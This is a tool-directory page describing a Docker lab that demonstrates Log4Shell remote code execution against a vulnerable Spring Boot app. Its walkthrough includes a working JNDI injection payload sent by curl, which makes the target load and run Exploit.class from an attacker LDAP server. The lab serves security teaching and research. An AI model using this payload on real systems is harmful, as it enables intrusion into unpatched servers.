Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2021-44228_Log4Shell — Docker-based RCE exploit demo for Log4Shell (CVE-2021-44228) with vulnerable Spring Boot app, malicious LDAP server, and payload delivery via JNDI injection. | Kitploit
Tools/GitHubGitHub/vutiendat323/cve-2021-44228_log4shell
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationLearning & EducationLabs & Practice
GitHubvutiendat323/cve-2021-44228_log4shell

CVE-2021-44228_Log4Shell

Docker-based RCE exploit demo for Log4Shell (CVE-2021-44228) with vulnerable Spring Boot app, malicious LDAP server, and payload delivery via JNDI injection.

View Repository
156 months agoNot yet reviewed
Share

Demo Exploiting Log4Shell Vulnerability (CVE-2021-44228)

This project simulates an RCE attack scenario through the Log4Shell vulnerability in the Apache Log4j 2 library.

Components

  1. vulnerable-app: Spring Boot application using Log4j 2.14.1.
  2. attacker: Contains malicious LDAP server (marshalsec) and HTTP server serving the malicious Exploit.class file.

Procedure

1. Start the environment

Requires Docker and Docker Compose to be installed.

docker compose up --build

Wait until both containers are ready. vulnerable-app will run on port 8080.

2. Perform the attack

Open a new terminal and send a request containing the JNDI payload via the X-Api-Version header:

curl -H 'X-Api-Version: ${jndi:ldap://attacker:1389/Exploit}' http://localhost:8080/

3. Verify the results

  • Check the logs of the vulnerable-app container. You will see the payload message has been logged.
  • Check the logs of the attacker container. You will see the LDAP connection redirected to the HTTP server.
  • Verify RCE: Check whether the /tmp/pwned file has been created inside the vulnerable-app container:
docker exec -it vulnerable-app ls -la /tmp/pwned

If the file exists, it proves the malicious Exploit.class was executed successfully!

Warning

This project is for educational and security research purposes only. Absolutely do not use it for illegal purposes.

Download Tool

Most Popular

View all →

Discover the most used tools by our community.

  • 1

    OsintHunter

    letox4/osinthunter

    🎯 The ultimate OSINT toolkit: investigation graph, confidence scoring, alias families, map, timeline and reports. 49 modules, 400+ sites, no API keys required.

    891
  • 2

    ghostlock-app

    yukonga/ghostlock-app

    GhostLock One-Tap Execution App (CVE-2026-43499)

    547
  • 3

    ARTEX

    baarai/artex

    LLM multi-agent autonomous penetration testing platform with planner/worker agents, asset and exploration graphs, MITM traffic recording, and vulnerability retesting.

    369
  • 4

    redforge

    cybersecurity91/redforge

    Browser-side red team toolkit with 102 offline tools for recon, payload generation, credential attacks, crypto, encoding and engagement reporting.

    366
  • 5

    looking-glass

    anonghosty/looking-glass

    CSIRT platform that ingests Shadowserver reports into MongoDB and replays them as interactive maps, analysis, findings, advisories and executive dashboards.

    309
  • 6

    CyberStrikeAI

    ed1s0nz/cyberstrikeai

    The system of action for AI-native cybersecurity—where intent becomes governed execution, evidence becomes operational memory, and every operation improves the next.

    282

Explore all tools

Browse our collection of tools

View all tools →